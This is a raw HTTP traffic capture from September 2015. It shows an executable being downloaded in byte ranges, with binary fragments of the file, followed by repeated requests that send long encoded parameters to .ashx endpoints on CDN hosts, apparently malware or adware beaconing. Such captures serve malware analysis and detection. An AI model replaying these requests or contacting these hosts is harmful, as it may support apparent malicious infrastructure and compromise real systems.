....ww._.p.u.e.61.gn ...$b"..o.....^.4#]...........t../.xi.../l@C}.I.V
...G..FB.e.....3Y.O...^y..*U..^G9..........M....T....W.L.Wn.t.~A.H9G..
.x..CW.M...n:...f....4....~.;a........,.2....z... [email protected].*....M
M.?..R.....k....*......M..w.......O...Ed.=...L.4.......A!oI.:...M..-Iy
..&.ba.i.~g#.r.F.U.r....`[email protected].?...........zF.6..3.
..K...;..ws...gM....<....8N...q..r.Y......IRW._..^...s..r...DEu(..M
.'_izYS..^..2....>..n.]...z.....).4...*JI....6.-..[...K..az[_.. '.f
..I..#[email protected].*6.5..lt....*...H..Sc...3.....&7..K...
.........2..n.......z..2(.....^..%..^...).....n.V. <..S.{p..d......
\7l....1../..H... |..=...'HEz...T.....K.zA.P(o...J.c..>.....x..G..q
...6....R.1jX.9...Q..0.J.9o..]]lT.......]^.[........./23..5w.R...l
<<< skipped >>>

GET /smw121634dp.exe HTTP/1.1


Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 17:35:22 GMT
Age: 3595
Content-Range: bytes 2500000-2749999/3359008
X-Cache: Hit from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: OaPdSszwnLTRqrmJcOCZMpe4yMO_eG4oad_GDqXbb0yCYDpJSTdDPw==
..vH..r...<..XQR.N.....O3.h.&....nS.:MT.b.$...k.!.i...%.6#...._.7".
A:...?...c.N.D....;.7..N..`..{[email protected]".....4....
./.&H.N..B...*...'..i...t...{...n@=#j..y.-...-..................JCpNR.
.8^|..%.]0..?...pg..b.S.=...2..8......)#..v....r.b^Ow.l....St.Kc..Q..p
'....=0Up4_..D..yd..Q.......a...4.4.Q.):...~b..\x.e..M..y 9.30.....`4Z
..g....C..*....f...(v_)a.5[..>...m....p.x..d#.4.Z.Cr..@.*S._.$....v
...a..B...XC.)g.7..........%k..IX.?..J`..>.c..........z.....R..3 ..
.0^....BL..{.;........ 0cc...zR.pL....-.. ..M..8....(&...So..!..R..[..
.......^..........~.e..Z.....|[:.....%<t........k6.X~2..q?aH. ../..
(.).8.._..a..:e...T7..A.U.....l..........q.."B..e.k.!%Gw..............
W..K.T...7e...T...U..6.....].so.&.^.......M.E..U.....72\-.\d$wd.......
..4..B^.....>#Zx....Y.o.2N.D.dB_.e4.Q..Y...68..*..g.0.....a...Q.k.0
6...j.x19' @.O>.'..Y.i]@...U.....dG[.p%.O............c..j..H.....
.Y*.#.N..V.......6...d.9r.........>mg.....^[email protected]....<..
...Jz..s.LS.m...J...x.M?.H.y&!H).?.. .b.<.3.A .&......H&.5-......X.
...%..w.m..s.m|).}..8d|B/.P1.;;T..2a...22.kz..0.....ve:."s..Z.YvrT..g.
.=&.....[.<-.-q.._..'Fy$\Pt.0....f....~.....V.]:....:^.UK..xw=...^.
...%{S..yr.cx...%r,.,...7..w....@.<.:.I..?.*.ca..........q.8...P?..
..-...~d......|V..>Zk.8B.0........ .'d?..[...X..N..I%...O.....&BH.b
..........d$5....Q.4BIl~1..w|....*.w..2q.-...M.....t......%......9;..u
=b.}.EE...pi.....,.0..Y.r*E.#.^....K.....\.....wa.I.....^C-,....y@oX~j
.^l"..^E.....<"..o.4.G.'.(!.H3IDx......,..V.L'W.............;W.
<<< skipped >>>

GET /smw121634dp.exe HTTP/1.1


Range: bytes=3000000-3249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 17:35:24 GMT
Age: 3592
Content-Range: bytes 3000000-3249999/3359008
X-Cache: Hit from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: GfMMwCBanGAhvCteOwJOtCsk3zrz2BZ05UPC0ECBOYvW9S2szU_Gwg==
_0Z...g..R~*. ....t.......Q!."C..*....p....I...@_.X..-.9...o.......b..
..|.......#u.E.....c.c.......G..{.m.7 .9N...z.R.h.....O.=..L7-..C.Yj..
..oo..z!. |A...p:...U.I..R?-....*>....5{.......2X.II....(L[.a....p.
1.^5;G$.O".'8 .. |...\.(..M....SW..%.y.......A$...*...6...H.:R......).
2.M-..}.kZ...M..v.;e......V=-.0.i.,.Z>..M-A..!........z.R...K..:.v.
%.fh.....)...o..e`...Xi..t....6^.Hei*y..D5.C.^..$yr.J!][email protected]
.T...7_....C.I!&.y... ...p...P..d...|....&........a..:G.k.`0....?..5..
[email protected]..}..'...Uk.<02.r...[...=.([email protected].
T?G...? V..}~y....'{[email protected]...%'...#L..l.f_
oN..;.&.?D.c[..*> &..t..q....RU1.gn...5.Yn.1...R..;'..."..i..=.9...
.&..0..;.d..w).Y2>u..-ID....4..Br<..0...\z.D1......:..../..{..g.
..t..zt.7....;.'..k.q...._..O.\a:8..Xv.........U&...XgrX..t&Q...I @V.e
d.RR.c0.).,........e)$vf..n..1.V..*...0.Q....(.F..,... t..........u}..
....0......7}>..2.....3|[FE.C....."..0...l...Lv5..f..8u...D.....^.-
a.....V...!...EW-..,..W[.L....A.\..yaq.....,..@J.!..ZP(.....z.($..]...
.........#..y....~K..'..>WC..0.J.....o.5.l.......0o.s.H3..<'.:..
..T{8p..']Sp.....T.....L.q.I..7.h.y.jp.c.;I........&L6./.)4'{.../t..Je
.r......o'.o.hu.....)0..........y..e..... R......~."w.y.....#..1.Y....
].z....im.......G-....N...3^..oL.../...%`.@jt...>6Td0,K........E...
..i......Q......9..;.A..u...z.8.p?..*...D.H...x./.......7...U%G..YI.v.
%.o/.d.x.j.".e..$2........l......>.aeG.y1.4.......Y..m..{NC.....&).
.......tY.....?......HDd.{k..<...l;..vtg..H5.....D..c.....l..(.
<<< skipped >>>


GET /1303.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/sowt5qivp2SX UINFgbXOiiAvELRpepitqGvv5sqhroDaM1aE/ClNTT5LFwLcWYlsrXIxNf6X/p/UaDgXp2QHNdR8GDCHWpWtE5S9J1faKqcnIzPjk7XGtW1B5cJyD8WHLb9RQzbrixrw1VxvH51bFJF4kQIHXTAmjFaC1iN6TTHRdsGMkr9o5Q== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1303.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/sowt5qivp2SX UINFgbXOiiAvELRpepitqGvv5sqhroDaM1aE/ClNTT5LFwLcWYlsrXIxNf6X/p/UaDgXp2QHNdR8GDCHWpWt6/KwEvQjAfCESiW wqgeJJNlRzoCiiPdLkxhdnC/RJrb4ZR 6izXtqnDUZD3eCjLyi7SKmc/IBxuiooWaRoAJw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1303.ashx?e=eFCD8T/coiezrE/yDXLQyTWNtO0Ims5SXpjeC5fqyfXCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9itPJ5vOiYOUkqDnxrYKwn3JgKkdlz1lRoYtuG iv KSFFAL52sIXt4XG iJ1D1BH6VNGm7ZktKfNQI4IYW7BlwKG/8 ILd4bihRW JECizii0o6CnERxfiY5ZMFGhcknP srAPq35vVlHiPVU04Syd3HQWtXvHms9ZqJ6r3Y3W1BOUKur4IHRDaA0a4JMrDsIg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 02 Sep 2015 23:21:07 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /t.ashx?e=M7A8vgjJHrj4MZomVx105cCfeQDac2AEAZx7JfD/ZiMeaFNcfNJ0Dr7GRIcOoydhUdGPD1b2Qs4eR0 6Iti9noDXxTJmuVxLd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLCNmnPWw9zGnUjefKmcoAknBKVVzEMwyJ3sIbAGqmciwyyzTF2Y0WVu HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 23r364hijk-mzxspesu.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=M7A8vgjJHrj4MZomVx105cCfeQDac2AEAZx7JfD/ZiMeaFNcfNJ0Dr7GRIcOoydhUdGPD1b2Qs4eR0 6Iti9noDXxTJmuVxLd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLCNmnPWw9zGnUjefKmcoAknBKVVzEMwyJ3sIbAGqmciwyyzTF2Y0WVu HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 23r364hijk-mzxspesu.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=M7A8vgjJHrj4MZomVx105cCfeQDac2AEAZx7JfD/ZiMeaFNcfNJ0Dr7GRIcOoydhUdGPD1b2Qs4eR0 6Iti9noDXxTJmuVxLd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLCNmnPWw9zGnUjefKmcoAknBKVVzEMwyJ3sIbAGqmciwyyzTF2Y0WVu HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: 23r364hijk-mzxspesu.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhskHTTP/1.1 200 OK..Date: Wed, 02 Sep 2015 23:21:07 GMT..Con
tent-Type: text/html; charset=utf-8..Content-Length: 13..Connection: k
eep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version
: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache:
 MISS..abfgshdgfjhsk..



GET /1303.ashx?e=A3ANzFv7fWAr54jemLLd4DWNtO0Ims5ST/1jLWhPrRnCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9itPJ5vOiYOUk4ge50n/C3pNKZ41CPq3IAX8KCb00J1/GybHDfry6wqPf5oHGQJZ9IynnTJWRrnFAxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi flruyvHL/XTRfTbXnzkx FKHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KEz1rNbtpMjdA== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:21 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 02 Sep 2015 23:21:21 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /p.ashx?e=wlkQ3WKgYpT/HsUBn07KUmgLND0FcPvMwdbR4HTmbrxAMc8htD1YT33c3l7dx0agqJDnlUORNKJFgAYD7IlOOXRRl0Ql1e8X9/tRSUQd N8klCAcYCbUzXCr63GbU9C4ghuBbbObA8zPFIy cPCHHets iQdMKul8NVcbx dWxSReJECB10wJoxWgtYjek0xghq6RzWLsFbrKwD6t b1ZdaoPZj94HyTdYbpuXkBqGoqDFaITzA6RY4G r 3F6T7RcAepxIAaB3uE0xleUFdHw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:21:19 GMT
X-Cache: Miss from cloudfront
Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 2lTIt_GYEOBfautpxiFs-3D_hlm-6I1vW-CCihfT_HPre5vXxb_ZJQ==
....



GET /p.ashx?e=oE Olq3N8DJu4D9uO/s/7LXdkCu6pesQK EqXX9mXsQxHZspITGtXrBhuqi0EfC3HiPVU04Syd3HQWtXvHms9ZqJ6r3Y3W1BOUKur4IHRDbzUL5XZVUMbFMV9tdp8gQwy5IrlnR/w3P0XoPGdmYzjUCOCGFuwZcChv/PiC3eG4oUVviRAos4otKOgpxEcX4mdulfay3 QHl32cx0G27ZSGAqR2XPWVGhFafpzrL U5WOBvq/txek wAw8i8QxSBMr J80GV4qARlUrzhzYzRp961q2/jKvJoYfQLYZG7vA3p3vWfnzMbDLdjn6SYKQpkJ3A2/oNe5ryDBDxYRLY gl76KqOPSYNu HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:21:07 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: FF90x7ziNbPXIDSkJhAQcQ_mt6KLWjV58NoaRR7HE3xvNy2F0QpS1w==
....


GET /p.ashx?e=s0jsdppK9OtmS6nlSU/NTqroNiSdbKyDNsV53F/8CdAecW3MdWo9WH3c3l7dx0agqJDnlUORNKJFgAYD7IlOOXRRl0Ql1e8X9/tRSUQd N/I4if1JyekIj20L MFH16heQqXv2mdCh6IaccU75mPXy5MYXZwv0Sa2 GUfuos17apw1GQ93goy8ou0ipnPyActtHclsvqkcU8g5 vR6QEB49De26f9ELU77BAEjXP3GmOBvq/txek xUYvqcyBt9h HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:21:07 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: wfO3OWcxszmxrPVMwSXyocQlgcLNG7UXiUoATiWvcAMy7ig2q1MRTA==
....


GET /p.ashx?e=6OELh0H WypmS6nlSU/NTqroNiSdbKyDNsV53F/8CdAecW3MdWo9WH3c3l7dx0agqJDnlUORNKJFgAYD7IlOOXRRl0Ql1e8X9/tRSUQd N/I4if1JyekIj20L MFH16heQqXv2mdCh6IaccU75mPXy5MYXZwv0Sa2 GUfuos17apw1GQ93goy8ou0ipnPyActtHclsvqkcU8g5 vR6QEB49De26f9ELUQMAH86R7p6MFQ9mpxEjBWbPiCC4paVhdd6NNx8J3bno= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:21:08 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 85CG-rn4G1SsK2BVv1UcthVPW1Qq87MchDaj1c3_nfP76GQtHRhc3w==
....


GET /p.ashx?e=WL9usJOVMsOEyHZoFFyrCH3SlO 4zhiGYB99HJUp1rZp9n7WWAF0mH3wjc62A0OYpFHk1LdjXWIbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkodXvvqvVmBrbtf3EntwcIYYxg5TDUaq4io3A5eoPLkCqxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi fnW1BRx38xv1DjxUizWQcST1QHs3X92ilFvPReo f3NHQiLIWWzE2Y9s IILilpWF2m8FF6tfmXYJpMaYz3Mc9Y HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:21:08 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Ch9g15UxOf1w6eKYeBuA9ZEHXPuRRfgQImH4HqMnyqcpITUpHKAjag==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 02 Sep 2015 23:21:08 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 e13dc20cb35881b25fb296fb0383f5
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: Ch9g15UxOf1w6eKYeBuA9ZEHX
PuRRfgQImH4HqMnyqcpITUpHKAjag==......


GET /p.ashx?e=QgW8pN5r26avTpvRFjYpwjWNtO0Ims5SDLysJ1t4srIegceCn LKWaOJdawTmV xr J80GV4qARlUrzhzYzRp961q2/jKvJoYfQLYZG7vA3p3vWfnzMbDOt6BFX6GBgh6TnR9dT7ayhnd4qSz7g6AIQ0nY4nOnLjU7zGYxFVZk5vuPkkDKInkPC8afBy6IKMEefda087tOT021585MfhSn4/c5CbCMCXqUVvKp9Lg9VpI2JlSwfZ4imF904v4t2DqaxuwH9abMQhIF11Yw0Wtw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1y2jryd6u59ns.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 23:21:08 GMT
X-Cache: Miss from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: TZYG4WwCS7STz5KbmBtMuILusW5KmUiDLcvJBgDcHj1F18K8dmefRg==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 02 Sep 2015 23:21:08 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 e13dc20cb35881b25fb296fb0383f5
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: TZYG4WwCS7STz5KbmBtMuILus
W5KmUiDLcvJBgDcHj1F18K8dmefRg==..



GET /1303.ashx?e=AZwPyJy3TZgPgAd18hbyrqsoN2NfqlSn/Dn8i7qp5mB38psj3UbutFu0ICSu0QOYghmiZJc6KBe9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRf9XPbJELwvM20qHT6WNWM4V 9m YgK2IJiqmzC51uJbX4l9XCm/Va yMyEnHNejvIwWNawbTP05KYX3Ti/i3YObVFZJeaqFdk1VfCEU0AOklTie0zE 5RJfoAFDjGX4LpcCZEAFRuZJhEDlb5EunAiguPxY3sIjxUlalNSF2h61sBCEmBDvTUu51CUbXbhryEU5MDCXDxgXW/fd31FoVTOiWNGWNGtxog4HDkqE1php HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1303.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/sowt5qivp2SX UINFgbXOiiAvELRpepitqGvv5sqhroDaM1aE/ClNTT5LFwLcWYlsrXIxNf6X/p/UaDgXp2QHNdR8GDCHWpWtE5S9J1faKqfhTy6irisLyMLwVoAmU3rnUzRVzAnl uH Xwg1761aWgeqRtCpUzM2lz5LO1H2X/rAGiD0BQQ4ChfDVhXI92OzLkxhdnC/RJrb4ZR 6izXtqnDUZD3eCjLyi7SKmc/IBxuiooWaRoAJw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1303.ashx?e=hNMAVKhukrwPgAd18hbyrq/D/8nVo5Z2/Dn8i7qp5mAHqUQ0J3/4E35CmT3i5NSF2vIg0CxxvYrTyebzomDlJJxQ8W QX1jZYCpHZc9ZUaH6MIOzDij/FhQC drCF7eFysWDrahxHN3E0H2E /K1uqPiYRVVMKy/yijAfjje/ktUzPMZleL5 XpkvY14xYJ8 HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 02 Sep 2015 23:21:07 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /5518.ashx?e=uWabAt9SLcwd5zMhdw4gNm7gP247 z/s6ykiHPsiO/7 UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3vbMhU3VQ3XKYWiz2vOiMSzJ5aq1fC9XsphfdOL Ldg1dxt2axWyKfONeNl36bp9ygyKUkKtOImZ00z8VaU/yd56IpriXQfJK/wnbZDXNEbTuF6IuT3DfqjZpz1sPcxp1I3nypnKAJJwSlVcxDMMid7CGwBqpnIsOpo/lEjpeAlBzFcuANGYcs6QVPVP6/3bDcr4ZRnoqTVavXIO4DTXr0mQFSCLUlV9hVlevGTzNhbw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:21 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=A3ANzFv7fWAr54jemLLd4DWNtO0Ims5ST/1jLWhPrRnCigHpURgZKxfMv/l 8Q4Wfl0yK7ww8bQbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkod 3hzWTOUecfkKZPeLk1IXa8iDQLHG9isMFBE7iaKLS9HLHm9xMNbloALKR6u0dIX8KCb00J1/GybHDfry6wqNEaQ4OBuHq3wpXsr t675z vszRGIsmD5y7Gw41DPo/0COCGFuwZcChv/PiC3eG4oUVviRAos4otKOgpxEcX4mOWTBRoXJJz/rKwD6t b1ZR4j1VNOEsndx0FrV7x5rPWaieq92N1tQTlCrq CB0Q2gNGuCTKw7CI= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:21 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=iDRrwQhh7wtmS6nlSU/NTg2cToY3sLJb/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jOe8p CMFtkc/xmCcB9WVISvSrmvhzpIGq0JQd5HxgIXeDt43ai0lw3pKGZ7N/WHCaCHzyr AmlG5QSjSVhgDAFJJR3 63B7qAALYso7vQrB39ic15P1rqvZALYU3kJ5A6xNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi flruyvHL/XTRfTbXnzkx FKHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KEz1rNbtpMjdA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:21 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 02 Sep 2015 23:21:21 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


